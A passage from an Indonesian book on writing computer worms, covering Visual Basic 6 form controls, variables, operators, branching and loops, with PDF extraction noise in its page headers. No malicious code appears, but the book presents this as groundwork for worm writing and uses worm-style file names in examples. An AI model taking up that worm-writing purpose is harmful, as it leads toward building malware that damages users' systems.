5. O

bjec

t For

m d

an C

ontro

l

Font Mengatur jenis, model dan ukuran huruf

ForeColor Mengatur warna teks pada OptionButton

Height Tinggi OptionButton

Value Jika bernilai true maka berarti kotak opsi dipilih (ditan-dai dengan tanda titik pada opsi).

Width Lebar OptionButton.

Dibawah ini adalah event yang selalu dimanfaatkan:

EVENT SAAT TERJADI

Click User mengklik pada OptionButton

DblClick User melakukan double click pada OptionButton.

5.2.8 COMBOBOXControl ComboBox adalah control yang biasanya berupa suatu daftar pilihan dan digunakan untuk informasi masukan. Dibawah ini be-berapa contoh properti yang biasanya digunakan:

PROPERTI KETERANGAN

(Name) Nama ComboBox, biasanya diberi prefix cbo

BackColor Warna latar belakang ComboBox

Enabled Jika bernilai true, mengijinkan ComboBox untuk merespon event mouse dan keyboard. Jika bernilai false, ComboBox akan menolak event tersebut

Font Mengatur jenis, model dan ukuran huruf

ForeColor Mengatur warna teks pada ComboBox

Height Tinggi ComboBox

Locked Jika true, maka data pada ComboBox bisa diubah saat run-time

Sorted Mengurutkan pilihan yang ada pada ComboBox

Text Isi ComboBox

Width Lebar ComboBox.

Page 77: Computer Worm 1 secret of underground coding

62Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 5. O

bject Form dan C

ontrol

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:

EVENT SAAT TERJADI

Change Terjadi perubahan pada ComboBox

Click User mengklik pada ComboBox

DblClick User melakukan double click pada ComboBox

GotFocus ComboBox mendapat fokus

LostFocus Sesaat sebelum fokus berpindah dari ComboBox.

5.2.9 LISTBOXControl ListBox adalah control berupa kotak daftar berisi pilihan-pilihan, digunakan untuk informasi masukan. Dibawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI KETERANGAN

(Name) Nama ListBox, biasanya diberi prefix lst

BackColor Warna latar belakang ListBox

Columns Mengatur jumlah kolom pada ListBox

Enabled Jika bernilai true, mengijinkan ListBox untuk merespon event mouse dan keyboard. Jika bernilai false, ListBox akan menolak event tersebut

Font Mengatur jenis, model dan ukuran huruf

ForeColor Mengatur warna teks pada ListBox

Height Tinggi ListBox

List Daftar pilihan yang ditampilkan pada ListBox

Sorted Mengurutkan pilihan yang ada pada ListBox

Style Jika bernilai checkbox, pemilihan bisa lebih dari dua opsi dengan memberi centang pada opsi-opsi yang dipilih

Width Lebar ListBox.

Page 78: Computer Worm 1 secret of underground coding

63Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

5. O

bjec

t For

m d

an C

ontro

l

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:

EVENT SAAT TERJADI

Click User mengklik pada ListBox

DblClick User melakukan double click pada ListBox

GotFocus ListBox mendapat fokus

ItemCheck Saat sebuah opsi dipilih dengan memberikan tanda centang

LostFocus Sesaat sebelum fokus berpindah dari ListBox.

5.2.10 HSCROLLBARControl HScrollBar atau horizontal scrollbar adalah control masukan yang digunakan sebagai input atau indikator kuantitas dalam bentuk horisontal. Dibawah ini beberapa contoh properti yang biasanya digu-nakan:

PROPERTI KETERANGAN

(Name) Nama HScrollBar, biasanya diberi prefix hsb

Enabled Jika bernilai true, mengijinkan HScrollBar untuk merespon event mouse dan keyboard. Jika bernilai false, HScrollBar akan menolak event tersebut

Height Tinggi HScrollBar

LargeChange Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada HScrollBar saat area bar di klik

Max Mengatur nilai terbesar pada properti Value, jangkauan terbesar adalah 32,767

Min Mengatur nilai terkecil pada properti Value, jangkauan terkecil antara -32,768

SmallChange Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada HScrollBar saat panah scroll di klik

Width Lebar HScrollBar.

Page 79: Computer Worm 1 secret of underground coding

64Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 5. O

bject Form dan C

ontrol

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:

EVENT SAAT TERJADI

Change Terjadi perubahan pada HScrollBar

Scroll User melakukan penggulungan dengan mengklik area bar atau panah scroll.

5.2.11 VSCROLLBARControl VScrollBar atau vertical scrollbar adalah control masukan yang digunakan sebagai input atau indikator kuantitas dalam bentuk verti-kal. Dibawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI KETERANGAN

(Name) Nama VScrollBar, biasanya diberi prefix vsb

Enabled Jika bernilai true, mengijinkan VScrollBar untuk mere-spon event mouse dan keyboard. Jika bernilai false, VScrollBar akan menolak event tersebut

Height Tinggi VScrollBar

LargeChange Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada VScrollBar saat area bar di klik

Max Mengatur nilai terbesar pada properti Value, jangkauan terbesarnya adalah 32,767

Min Mengatur nilai terkecil pada properti Value, jangkauan terkecilnya adalah -32,768

SmallChange Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada VScrollBar saat panah scroll di klik

Width Lebar VScrollBar.

Page 80: Computer Worm 1 secret of underground coding

65Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

5. O

bjec

t For

m d

an C

ontro

l

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:

EVENT SAAT TERJADI

Change Terjadi perubahan pada VScrollBar

Scroll User melakukan penggulungan dengan mengklik area bar atau panah scroll.

5.2.12 TIMERControl Timer adalah control yang digunakan untuk event yang tidak memerlukan interaksi user dan berjalan dengan sendirinya. Di bawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI KETERANGAN

(Name) Nama Timer, biasanya diberi prefix tmr

Enabled Jika bernilai true, mengijinkan Timer untuk merespon event yang terjadi. Jika bernilai false, Timer akan meno-lak event tersebut

Interval Mengatur jarak waktu / jeda dalam milliseconds (seperseribu detik) antara waktu panggil dengan diek-sekusinya event yang ditentukan. Misalnya suatu Timer memiliki Interval sebesar 500 milliseconds (0.5 second), ini sama saja artinya Timer tersebut akan mengeksekusi procedure didalamnya sebanyak 2 kali dalam 1 detik.

karena Timer tidak memerlukan interaksi user, maka hanya memiliki satu event yang terjadi pada saat run-time yaitu:

EVENT SAAT TERJADI

Timer Perubahan waktu, atau pada saat tertentu yang telah ditetapkan.

Page 81: Computer Worm 1 secret of underground coding

66Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 5. O

bject Form dan C

ontrol

5.2.13 DRIVELISTBOXControl DriveListBox mengijinkan user untuk memilih suatu drive pada saat run-time. Control ini menampilkan daftar drive yang terse-dia di dalam sebuah ComboBox. Dibawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI KETERANGAN

(Name) Nama DriveListBox, biasanya diberi prefix drv

BackColor Warna latar belakang DriveListBox

Font Mengatur jenis, model dan ukuran huruf

ForeColor Mengatur warna teks pada DriveListBox

Height Tinggi DriveListBox

Width Lebar DriveListBox.

Di bawah ini contoh beberapa event yang biasanya dimanfaatkan:

EVENT SAAT TERJADI

Change Terjadi perubahan pada DriveListBox

GotFocus DriveListBox mendapat fokus

LostFocus Sesaat sebelum fokus berpindah dari DriveListBox.

5.2.14 DIRLISTBOXControl DirListBox atau directory list box, menampilkan daftar di-rektori aktif di dalam sebuah ListBox. Dibawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI KETERANGAN

(Name) Nama DirListBox, biasanya diberi prefix dir

BackColor Warna latar belakang DirListBox

Font Mengatur jenis, model dan ukuran huruf

ForeColor Mengatur warna teks pada DirListBox

Height Tinggi DirListBox

Width Lebar DirListBox.

Page 82: Computer Worm 1 secret of underground coding

67Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

5. O

bjec

t For

m d

an C

ontro

l

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:

EVENT SAAT TERJADI

Change Terjadi perubahan pada DirListBox

Click User mengklik pada DirListBox

GotFocus DirListBox mendapat fokus

LostFocus Sesaat sebelum fokus berpindah dari DirListBox.

5.2.15 FILELISTBOXControl FileListBox menampilkan daftar file di dalam sebuah ListBox. Dibawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI KETERANGAN

(Name) Nama FileListBox, biasanya diberi prefix fil

Archive Jika false, maka tidak menampilkan file yang ber-atribut Archive

BackColor Warna latar belakang FileListBox

Font Mengatur jenis, model dan ukuran huruf

ForeColor Mengatur warna teks pada FileListBox

Height Tinggi FileListBox

Hidden Jika true, maka menampilkan file yang beratribut Hidden (Hidden file adalah file yang diatur agar tidak terlihat oleh user)

MultiSelect Mengatur cara pemilihan, yang memungkinkan untuk memilih lebih dari satu file

Pattern Mengatur pola file yang akan ditampilkan pada FileList-Box, misalnya *.exe, ini berarti hanya akan menampilkan file yang berekstensi exe saja.

ReadOnly Jika false, maka tidak menampilkan file yang beratribut Read only

System Jika false, maka tidak menampilkan file yang beratribut System

Width Lebar FileListBox

Page 83: Computer Worm 1 secret of underground coding

68Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 5. O

bject Form dan C

ontrol

Di bawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:

EVENT SAAT TERJADI

Click User mengklik pada FileListBox

DblClick User melakukan double click pada FileListBox

GotFocus FileListBox mendapat fokus

LostFocus Sesaat sebelum fokus berpindah dari FileListBox.

5.2.16 SHAPEDengan control Shape kita bisa membuat lingkaran (circles), bujur telur (ovals), segi empat (square), persegi panjang (rectangles), segi empat siku bulat (rounded square) dan persegi panjang siku bulat (rounded rectangles). Dibawah ini beberapa contoh properti yang biasanya di-gunakan:

PROPERTI KETERANGAN

(Name) Nama Shape, biasanya diberi prefix shp

BackColor Warna latar belakang Shape jika properti BackStyle adalah opaque

BorderColor Mengatur warna garis tepi pada Shape

BorderStyle Mengatur jenis garis yang digunakan

BorderWidth Mengatur ketebalan garis

FillColor Mengatur warna isi dari Shape

FillStyle Mengatur cara pengisian warna pada Shape, bisa berupa garis horizontal, vertical, cross atau solid.

Height Tinggi Shape

Shape Mengatur bentuk Shape, bisa berupa circles, ovals, square, rectangles, rounded square dan rounded rectangles

Width Lebar Shape.

Page 84: Computer Worm 1 secret of underground coding

69Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

5. O

bjec

t For

m d

an C

ontro

l

Untuk Shape tidak ada event yang bisa dimanfaatkan, karena Shape dibuat tidak bertujuan untuk melakukan event tertentu tetapi hanya untuk kepentingan interface saja.

5.2.17 LINEDengan control Line kita bisa membuat gambar garis. Dibawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI KETERANGAN

(Name) Nama Line, biasanya diberi prefix lin

BorderColor Mengatur warna garis

BorderStyle Mengatur jenis garis yang digunakan

BorderWidth Mengatur ketebalan garis

Untuk Line tidak ada event yang bisa dimanfaatkan, karena Line dibuat tidak bertujuan untuk melakukan event tertentu tetapi hanya untuk kepentingan interface saja.

5.2.18 IMAGEDengan control Image kita bisa menempatkan object gambar pada form. Dibawah ini beberapa contoh properti yang biasanya digunakan untuk control Image:

PROPERTI KETERANGAN

(Name) Nama Image, biasanya diberi prefix img

Height Tinggi Image

Picture Mengatur object gambar pada bidang Image

Stretch Jika bernilai true, maka object gambar akan menye-suaikan dengan ukuran control Image

Width Lebar Image.

Page 85: Computer Worm 1 secret of underground coding

70Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 5. O

bject Form dan C

ontrol

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:

EVENT SAAT TERJADI

Click User mengklik pada bidang Image

DblClick User melakukan double click pada bidang Image.

5.2.19 DATAControl Data dimanfaatkan pada saat pembuatan aplikasi database. Control ini memudahkan untuk berpindah dari satu data record ke data record lainnya. Dibawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI KETERANGAN

(Name) Nama control Data, biasanya diberi prefix dat

Allign Mengatur posisi control Data pada form

BackColor Mengatur warna latar pada control Data

Caption Mengatur teks yang ditampilkan pada control Data

Connect Mengatur jenis sumber data yang digunakan

DatabaseName Menentukan file data yang digunakan

Height Tinggi control Data

RecordSource Menentukan data yang digunakan pada tabel sumber

Width Lebar control Data.

Dibawah ini adalah contoh event yang biasanya dimanfaatkan:

EVENT SAAT TERJADI

Validate Saat validasi suatu record terjadi

Page 86: Computer Worm 1 secret of underground coding

71Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

5. O

bjec

t For

m d

an C

ontro

l

5.2.20 OLEControl OLE dimanfaatkan untuk memasukan third party object sep-erti aplikasi MS Word, Paint, Calendar dan lain sebagainya. Dibawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI KETERANGAN

(Name) Nama control OLE, biasanya diberi prefix ole

AutoActivate Mengatur cara control OLE diaktifkan

BackColor Mengatur warna latar pada control OLE

BorderStyle Mengatur jenis garis tepi pada control OLE

Class Mengatur Class yang digunakan

Height Tinggi control OLE

SizeMode Mengatur model ukuran pada control OLE

Width Lebar control OLE.

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:

EVENT SAAT TERJADI

Click User mengklik pada control OLE

DblClick User melakukan double click pada control OLE

GotFocus Control OLE mendapat fokus

LostFocus Sesaat sebelum fokus berpindah dari control OLE

Updated Data berubah, diperbarui

Page 87: Computer Worm 1 secret of underground coding
Page 88: Computer Worm 1 secret of underground coding

73Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

6. K

ode

Pro

gram

BAB 6KODE PROGRAM

Kenapa bab ini ada?

Sebagian besar worm komputer di masa lalu dibuat dengan bahasa pemrograman assembly yang merupakan bahasa pemrograman tingkat rendah dan cukup sulit untuk digunakan. Namun kini, para worm writer lebih memilih menggunakan bahasa pemrograman tingkat tinggi dan tool yang lebih maju, mengingat optimisasi yang dilakukan cenderung bersifat mengaburkan logika dari kode yang ditulis dalam bahasa tingkat tinggi tersebut. Sehingga tingkat kompleksitas program yang dihasilkan dapat mempersulit para peneliti untuk melakukan proses unassembly dan analisa.

Melanjutkan bab sebelumya maka bab ini akan memuat teknik penulisan pada salah satu bahasa pemrograman tingkat tinggi tersebut, yaitu bahasa Visual Basic.

Page 89: Computer Worm 1 secret of underground coding

74Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 6. K

ode program

Kode program adalah instruksi-instruksi yang ditulis oleh programmer dengan bahasa pemrograman tertentu, yang memerintahkan aplikasi untuk melakukan tugas tertentu

pula. Bahasa yang digunakan pada Visual Basic umumnya hampir sama dengan bahasa pemrograman basic lainnya (basic, turbo basic, qbasic).

Dengan Visual Basic, pemrograman tidak dilakukan hanya dengan menulis kode saja tetapi sudah menggunakan pendekatan visual untuk merancang user interface-nya. Pada Visual Basic, kode-kode pemrograman biasanya diletakkan pada object-object sebagai berikut:

1. Object Form, kode ini akan dijalankan apabila Form tersebut di-load.

2. Control, control bisa memiliki penugasan sendiri yang disebut dengan event procedure. Setiap control tersebut bisa memiliki event procedure lebih dari satu, dan setiap event procedure yang dibuat bisa membuat aksi yang berbeda.

3. Standard Module, adalah object yang terpisah dari form. Standard Module berisi kode-kode program yang bersifat global yang dapat dipanggil oleh object apa saja.

6.1 VARIABELVariabel digunakan pada Visual Basic untuk menyimpan informasi yang diperlukan oleh aplikasi. Untuk memberi nama variabel, harus memiliki syarat sebagai berikut:

1. Tidak lebih dari 40 karakter2. Berupa huruf, angka dan underscore3. Karakter pertama berupa huruf4. Tidak menggunakan kata yang termasuk kode program (kata yang

termasuk perintah atau function dalam bahasa Visual Basic).

Variabel dalam Visual Basic memiliki beberapa tipe, pemilihan tipe variabel yang sesuai akan sangat berpengaruh terhadap pemakaian resources oleh program aplikasi yang dibuat.

Page 90: Computer Worm 1 secret of underground coding

75Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

6. K

ode

Pro

gram

Untuk menghindari kesalahan yang diakibatkan kekeliruan pada pem-buatan variabel, biasanya variabel dideklarasikan. Berikut cara untuk mendeklarasikan variabel:

6.1.1 IMPLICITImplicit, untuk membuat deklarasi implicit, gunakan sufix (akhiran) yang berhubungan dengan tipe data pada tabel berikut:

Tipe Data Jangkauan Ukuran Sufix

Boolean True (benar) atau False (salah) 2 bytes

Integer -32768 s/d 32767 2 bytes %

Long (Integer) -2147483.648 s/d 2147483647 4 bytes &

Single (Floating) Negatif: -3.402823E38 s/d -1.401298E-45

Positif: 1.401298E-45 s/d 3.402823E38

4 bytes !

Double (Floating) Negatif: -1.79769313486232E308 s/d -4.94065645841247E-324

Positif: 4.94065645841247E-324 s/d 1.79769313486232E308

8 bytes #

Currency -922337203685477.5808 s/d 922337203685477.5807

8 bytes @

Date 1 Januari 100 s/d 31 Desember 9999

8 bytes

Object Referensi Object 4 bytes

String 0 s/d 2 Milyar Karakter (95/97 & NT) dan 0 s/d sekitar 65535 karakter (versi 3.1)

1 bytes p e r karakter

$

Variant Null,Error, dan seluruh tipe data lain misalnya boolean, numerik, string, object, array.

16 byte + 1 byte p e r karater

Byte 0 s/d 255 1 byte

Page 91: Computer Worm 1 secret of underground coding

76Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 6. K

ode program

Contoh pe nggunaan variabel string dalam code program :

Kalimat$="ini string gitu loh"

Sedangkan berikut adalah contoh penggunaan variabel integer :

Jumlah% = 300

6.1.2 EXPLICITuntuk membuat deklarasi explicit, yang pertama dilakukan adalah menentukan batasan-batasannya. Ada empat jenis tingkatan yang digunakan, yaitu:

A. Procedure level Pada tingkatan ini, variabel tidak akan berlaku lagi saat procedure

berakhir.

Dim MyInt as Integer Dim MyDouble as Double Dim MyString, YourString as String

B. Procedure level, static Untuk membuat variabel tetap berlaku walaupun procedure telah

berakhir, bisa dilakukan dengan mengganti pernyataan "Dim" men-jadi kata "Static":

Static MyInt as Integer Static MyDouble as Double Static MyString, YourString as String

Dengan menempatkan pernyataan Static didepan nama procedure maka seluruh variabel dalam procedure itu bersifat static walaupun dideklarasikan oleh pernyataan Dim, contoh:

Static Sub Command1_Click() Dim MyInt as Integer 'bla… bla… End Sub

Page 92: Computer Worm 1 secret of underground coding

77Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

6. K

ode

Pro

gram

C. Form (module) level Variabel yang menggunakan form (module) level akan berlaku

untuk seluruh procedure yang ada pada form (module) tersebut. Variabel dengan tingkatan form (module) terdeklarasi dengan pendeklarasian general object di jendela kode form (module), juga menggunakan kata "Dim":

Dim MyInt as Integer Dim MyDate as Date

D. Global level Variabel yang menggunakan Global level akan berlaku untuk

seluruh procedure yang ada pada aplikasi tersebut, Tingkatan module variabel dideklarasi dengan pendeklarasian general object di jendela kode module (sebaiknya menampung variabel global di dalam sebuah module), menggunakan pernyataan "Global":

Global MyInt as Integer Global MyDate as Date

6.2 STATEMENTS AND EXPRESSIONSPernyataan (statement) yang paling sederhana adalah pernyataan penugasan. Terdiri dari nama variabel dan diikuti dengan operator (=), dan diikuti beberapa ungkapan (expression). Contoh:

Saldo=Debet–KreditHarga_Jual=Harga_Beli+(Harga_Beli*10%)Explorer.Caption="Gue Lagi Iseng"

Jika pernyataan yang dibuat terlalu panjang, bisa dilanjutkan ke baris berikutnya dengan menggunakan karakter penghubung underscore ( _ ). Contoh:

Months=Log(Final*IntRate/Deposit+1) _/Log(1+IntRate)

Page 93: Computer Worm 1 secret of underground coding

78Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 6. K

ode program

Pernyataan komentar dimulai dengan pernyataan "Rem" atau single quote ('), contoh:

Rem Haiiii ini cuma komentar 'Nah ini gak bakal diakses programh = b / 2 'cara lain memberi komentar

6.3 OPERATOROperator adalah hal yang sangat penting dalam menulis kode sebuah program. Adapun operator yang digunakan pada Visual Basic 6.0 adalah:

6.3.1 OPERATOR PENUGASAN (ASSIGNMENT)Operator penugasan disimbolkan dengan tanda sama dengan (=) yang berfungsi untuk memasukkan data ke suatu variabel. penulisannya adalah <Variabel> = <ekspresi>

contoh:

Start=NowBilangan=0Harga=500Jumlah=Banyak*Harga

6.3.2 OPERATOR ARITMATIKAOperator aritmatika adalah operator paling sederhana dalam proses perhitungan. Operator-operator tersebut dalam urutan yang diutama-kan perhitungannya (prioritas rumus yang akan dijalankan seandainya rumus ditulis dalam satu baris tanpa tanda kurung) adalah:

Page 94: Computer Worm 1 secret of underground coding

79Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

6. K

ode

Pro

gram

Operator Keterangan

^ Pangkat

* / Perkalian dan pembagian

\ Pembagian bulat

Mod Sisa bagi

+ - Pertambahan dan pengurangan

Tanda kurung pada ungkapan dapat mengubah pengutamaan perhi-tungan. Contoh:

X=2+3*4 'Akan menghasilkan 14Y=(2+3)*4 'Akan menghasilkan 20 Z=(2+3)*(4–2) 'Akan menghasilkan 10

Untuk menggabung dua string atau lebih, bisa menggunakan simbol '&’ atau '+’, contoh:

Label1.caption="Nama saya" & "Komeng"

Akan menghasilkan "Nama sayaKomeng"

Label1.caption="Nama saya " & "Komeng"

Akan menghasilkan "Nama saya Komeng"

Label1.caption="Nama saya " + "Komeng"

Akan menghasilkan "Nama saya Komeng"

6.3.3 OPERATOR KOMPARASIOperator ini digunakan untuk melakukan perbandingan. Adapun operator-operator tersebut adalah:

Page 95: Computer Worm 1 secret of underground coding

80Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 6. K

ode program

Operator Keterangan

= Sama dengan

<> Tidak sama dengan

< Lebih kecil dari

> Lebih besar dari

<= Lebih kecil atau sama dengan

>= Lebih besar atau sama dengan

Like Pencocokan pola

Is Sama referensi object

Hasil suatu operasi komparasi adalah suatu nilai boolean berupa true (benar) atau false (salah). Contoh :

1=4–2 'menghasilkan false2-1<>4-2 'menghasilkan truex="wrm.pif" like "*.pif" 'menghasilkan truex="wrm.scr" like "wr?.*" 'menghasilkan true

6.3.4 OPERATOR LOGIKAOperator logika mengikuti operator aritmatika dalam pengutamaan perhitungan. Adapun operator-operator tersebut adalah:

Operator Keterangan

Not Logika bukan

And Logika dan

Or Logika atau

Xor Exclusive Or

Eqv Ekivalen

Imp Implikasi

1. Operator Not akan menghasilkan nilai true jika ungkapannya me-mang salah.

Page 96: Computer Worm 1 secret of underground coding

81Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

6. K

ode

Pro

gram

2. Operator And akan menghasilkan nilai true jika semua ungkapan benar, dan akan menghasilkan false, jika salah satu ungkapan salah atau semua ungkapan salah.

3. Operator Or akan menghasilkan nilai true jika salah satu ungkapan benar, dan akan menghasilkan false jika semua ungkapan salah.

4. Operator Xor akan menghasilkan nilai true jika satu ungkapan salah dan satu ungkapan lain benar, dan akan menghasilkan nilai false apabila semua ungkapan benar atau semua ungkapan salah.

5. Operator Eqv adalah kebalikan dari operator Xor, akan menghasil-kan nilai true jika kedua ungkapan sama-sama benar atau sama-sama salah, dan akan menghasilkan false jika satu ungkapan salah dan satu ungkapan lain benar.

6. Operator Imp akan menghasilkan nilai true jika ungkapan pertama benar dan ungkapan kedua salah, selain kondisi tersebut akan menghasilkan false.

6.4 PERCABANGAN (BRANCHING)Statement bercabang digunakan untuk melakukan suatu tindakan di dalam suatu program berdasarkan kondisi tertentu.

6.4.1 PERCABANGAN IF/THEN/ELSEDigunakan untuk menjalankan satu blok perintah yang nilainya tergan-tung pada kondisi yang diuji. Penulisannya adalah sebagai berikut:

If <conditions> then

[statements and expressions]

Else

[statements and expressions]

End If

Page 97: Computer Worm 1 secret of underground coding

82Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 6. K

ode program

Atau kita bisa menambahkan statement ElseIf, sehingga menjadi:

If <conditions> then

[statements and expressions]

ElseIf <conditions> then

[statements and expressions]

Else

[statements and expressions]

End If

6.4.2 PERCABANGAN SELECT CASESebagai tambahan terhadap percabangan If/Then/Else, format select case biasanya digunakan apabila ada kemungkinan percabangan yang lebih banyak. Penulisannya adalah sebagai berikut:

Select Case <conditions>

[Case <ekspresi-1>

[statements and expressions]

[Case <ekspresi-2>

[statements and expressions]

[Case <ekspresi-n>

[statements and expressions]

[Case Else

[Case <ekspresi-1>

[statements and expressions]

End Select

Page 98: Computer Worm 1 secret of underground coding

83Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

6. K

ode

Pro

gram

6.4.3 PERCABANGAN GOSUB/RETURNDigunakan untuk mencabang(melompat) ke suatu sub-rutin yang ditandai dengan baris label atau baris nomor. Setelah mengakses baris referensi akan kembali mengakses statement dan expression dibaris setelahnya. Penulisannya adalah sebagai berikut:

GoSub <line>

[statements and expressions]

<line>

[statements and expressions]

Return

Line/branch atau baris referensi yang dituju bisa berupa baris label teks yang diakhiri titik dua, bisa juga berupa baris nomor dan harus berada pada procedure yang sama. Perhatikan contoh berikut ini:

Sub Form_activate()Dim Num As single Num=InputBox("Ketik Tahun Lahir Anda") GoSub Cabang Msgbox "Usia Anda Sekarang "&Num Exit Sub 'menjadikan akhir dari subCabang: Num = Year(Now)-Num ReturnEnd Sub

6.4.4 PERCABANGAN GOTOTeknik percabangan ini biasanya digunakan untuk run-time error trapping, Setelah mengakses baris referensi tidak akan mengakses statement dan expression dibaris setelahnya.

Penulisannya adalah sebagai berikut:

Page 99: Computer Worm 1 secret of underground coding

84Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 6. K

ode program

GoTo <line>

[statements and expressions]

<line>

[statements and expressions]

Return

Sebagai contoh:

Sub Form_activate()Dim Num As single Num=InputBox("Ketik Tahun Lahir Anda") GoSub Cabang Msgbox "Usia Anda Sekarang " & Num GoTo Akhir 'melompati sub CabangCabang: Num = Year(Now)-Num ReturnAkhir:End Sub

6.4.5 PERCABANGAN ON ERRORPercabangan ini dilakukan untuk menangani kesalahan yang terjadi pada saat run-time. Ada beberapa bentuk dalam penulisannya:1. On Error Resume Next Apabila terjadi kesalahan, maka mengacuhkan kesalahan tersebut

untuk kemudian mengakses baris setelahnya.2. On Error Goto <line> Apabila terjadi kesalahan, maka akan mengakses baris referensi

pada procedure yang sama.3. On Error Goto 0 Menyebabkan perangkap kesalahan yang sebelumnya dipasang

menjadi tidak aktif (membatalkan penanganan kesalahan).

Page 100: Computer Worm 1 secret of underground coding

85Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

6. K

ode

Pro

gram

6.5 PENGULANGAN (LOOPING)Looping dilakukan dengan format Do/Loop. Loop digunakan untuk operasi yang akan diulang beberapa kali. Loop akan mengulang sampai suatu kondisi yang telah ditentukan di awal atau di akhir memenuhi persyaratan. Ada beberapa bentuk dalam penulisannya:

6.5.1 DO WHILE/LOOPContoh dibawah ini akan melakukan perulangan yang berlangsung selama (while) variabel Counter lebih kecil atau sama dengan 500. Sementara statement Debug.Print akan menampilkan perhitungan tersebut pada jendela Debug.

Counter = 1Do While Counter <= 500 Debug.Print Counter Counter = Counter + 1Loop

6.5.2 DO UNTIL/LOOPContoh dibawah ini akan melakukan perulangan sampai (until) varia-bel Counter melebihi 500.

Counter = 1Do Until Counter > 500 Debug.Print Counter Counter = Counter + 1Loop

6.5.3 DO/LOOP WHILEContoh dibawah ini akan melakukan perulangan selama variabel Counter kurang dari atau sama dengan 500.

Counter = 1Do Debug.Print Counter Counter = Counter + 1Loop While Counter <= 500

Page 101: Computer Worm 1 secret of underground coding

86Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 6. K

ode program

6.5.4 DO/LOOP UNTILContoh dibawah ini akan melakukan perulangan sampai variabel Counter lebih besar dari 500.

Counter = 1Do Debug.Print Counter Counter = Counter + 1Loop Until Counter > 500

6.5.5 FOR/NEXTTeknik perulangan ini digunakan untuk melakukan pengulangan suatu blok program sebanyak yang telah ditentukan pada nilai awal dan nilai akhir. Bentuk penulisannya:

For <counter> = <awal> to <akhir> [step<step>]

[statements and expressions]

[Exit For]

[statements and expressions]

Next [<counter>]

Pada contoh berikut, variabel Y diawali dengan nilai 1 dan masing-masing perulangan ditambah dengan 20 step (langkah). Perulangan ini terus berlanjut sampai variabel Y menjadi lebih besar atau sama dengan 500. Jika step tidak dimasukan maka nilai default-nya adalah 1.

For Y = 1 to 500 Step 20 A = Y * 2 Debug.Print ANext I

Perulangan bisa dihentikan dengan statement Exit For, yang akan langsung mengakses baris setelahnya.

Page 102: Computer Worm 1 secret of underground coding

87Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

6. K

ode

Pro

gram

6.6 PENGHENTIAN (TERMINATING)Pengakhiran total, pengakhiran sebagian dan pengakhiran sementara bisa dilakukan dengan beberapa cara:

6.6.1 ENDDigunakan untuk memaksa program berhenti dari suatu procedure atau pernyataan program. Beberapa bentuk pernyataan End, adalah sebagai berikut:

1. End, digunakan untuk mengakhiri aplikasi, menutup semua form yang terbuka dan bisa diletakkan dimana saja

2. End If, digunakan untuk mengakhiri blok pernyataan If/Then/Else

3. End With, digunakan untuk mengakhiri blok pernyataan With4. End Select, digunakan untuk mengakhiri blok pernyataan Select

Case5. End Type, digunakan untuk mengakhiri struktur Type6. End Property, digunakan untuk mengakhiri Property7. End Sub, digunakan untuk mengakhiri Sub8. End Function, digunakan untuk mengakhiri Function.

6.6.2 EXITDigunakan untuk mengakhiri suatu blok pernyataan program. Be-berapa bentuk pernyataan Exit, adalah sebagai berikut:

1. Exit Do, digunakan untuk keluar dari perintah do/loop dan control program di bawah perintah Loop.

2. Exit For, digunakan untuk keluar dari perintah For/Next dan con-trol program ke bawah perintah Next.

3. Exit Function, digunakan untuk keluar dari badan function yang dipanggil dan control program kebawah baris pemanggil.

Page 103: Computer Worm 1 secret of underground coding

88Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 6. K

ode program

4. Exit Property, digunakan untuk keluar dari badan procedure Property yang sedang tampil dan control program ke bawah baris pemanggil procedure Property tersebut.

